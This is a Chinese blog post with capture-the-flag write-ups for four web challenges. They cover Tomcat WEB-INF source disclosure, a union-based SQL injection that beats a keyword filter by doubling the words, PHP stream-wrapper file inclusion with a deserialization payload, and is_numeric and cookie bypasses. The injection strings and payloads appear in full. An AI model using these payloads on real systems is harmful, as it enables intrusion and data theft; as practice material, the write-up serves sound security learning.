本篇内容
[RoarCTF 2019]Easy Java
[极客大挑战 2019]BabySQL
[ZJCTF 2019]NiZhuanSiWei
[极客大挑战 2019]BuyFlag
上一篇 | 目录 | 下一篇
[RoarCTF 2019]Easy Java
开头一个登录框,使用用户名为admin
,密码为admin888
登录成功发现提示flag不在这里(至于猜不到admin888倒是可以用字典暴破的,这里不细写)。
返回首页点击help
尝试一番后发现不会写,百度,大佬文章:[RoarCTF 2019]Easy Java。
截取重要的一段话:
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:
通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码。
一般情况,jsp引擎默认都是禁止访问WEB-INF目录的,Nginx 配合Tomcat做均衡负载或集群等情况时,问题原因其实很简单,Nginx不会去考虑配置其他类型引擎(Nginx不是jsp引擎)导致的安全问题而引入到自身的安全规范中来(这样耦合性太高了)。
然后发现原来是要换请求方式啊,换了之后发现了是跟Tomcat有关的报错,那就看看配置文件web.xml,在WEB-INF/web.xml。
看到了貌似与flag有关的东西com.wm.ctf.LoginController
,查看一下:
filename=WEB-INF/classes/com/wm/ctf/FlagController.class
看到Zmxh
字眼就知道base64的flag出来了,base64解密一下就能拿到最终flag。
[极客大挑战 2019]BabySQL
熟悉的界面,类似与我之前写的[极客大挑战 2019]LoveSQL。
以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。
username=1&password=123 //显示 NO,Wrong username password!!!
username=1'&password=123 //报错
username=1'#&password=123 //显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123 //显示 Error!
看来是存在过滤了,尝试后发现可以异或注入
,Fuzz模糊测试一下。
发现被过滤了好多啊,尝试双写绕过
,成功。
以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。
username=1' oorr 1=1#&password=123 //显示 Login Success!
开始尝试order by猜字段数
username=1' oorrder bbyy 4#&password=123 //显示 Unknown column '4' in 'order clause'
username=1' oorrder bbyy 3#&password=123 //显示 NO,Wrong username password,说明有3个字段
开始爆库、爆表、爆列、爆字段
username=1' ununionion seselectlect 1,2,3#&password=123 //显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' ununionion seselectlect 1,database(),3#&password=123 //得到库名“geek”
username=1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()#&password=123 //得到表名“b4bsql,geekuser”
username=1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#&password=123 //得到列名“id,username,password”
username=1' ununionion seselectlect 1,group_concat(passwoorrd),3 frfromom b4bsql#&password=123 //得到flag
[ZJCTF 2019]NiZhuanSiWei
访问网址给了一段源码:
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
//GET传入的text参数要为文件,用file_get_contents读取后的值为“welcome to the zjctf”
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
//GET传入的file参数不能含有flag
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
文件包含的题目,尝试读取一下useless.php
,payload:
?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.php
然后POST:welcome to the zjctf
class Flag{
//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
//读取文件 $this->file 里的内容
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
提示有个flag.php
,可惜不能直接用file得到flag.php的内容,因为file不能含有flag字眼。
不过还有一个参数password
没用上,注意到传入的password会被反序列化然后输出。
那就创建一个Flag对象,使其的$file属性指向flag.php,因为在Flag类里有一个file_get_contents
方法将文件里的内容读取,然后echo输出。将创建的Flag对象序列化后赋值给password。
$test = new Flag();
$test->file = 'flag.php';
echo serialize($test);
?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
然后POST:welcome to the zjctf
[极客大挑战 2019]BuyFlag
点击MENU里的PAYFLAG
跳转到如下页面:
右键源代码发现:
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
//POST的password不能为数字
if (is_numeric($password)) {
echo "password can't be number";
//password要等于404
}elseif ($password == 404) {
echo "Password Right!";
}
}
这里要让password为404,就需要绕过,这里由于is_numeric()
函数存在漏洞,只需要在后面加一个%20
空格就可以绕过。
题目的“ You must be a student from CUIT!!! ”要求,我是用Google插件“EditThisCookie
”查看Cookie时发现有个user=0,改为user=1
就能满足这个条件。
题目的“ You must be answer the correct password!!! ”要求,POST一个password=404%20
就能绕过:
最后就是买flag了,POST一个money=100000000发现出问题了,传入的太长了,想到是不是可以数组绕过,尝试一下money[]=1
发现就得到了flag。
========================================================
上一篇-----------------------------------目录 -----------------------------------下一篇
========================================================
转载请注明出处。
本文网址:https://blog.csdn.net/hiahiachang/article/details/105436224
========================================================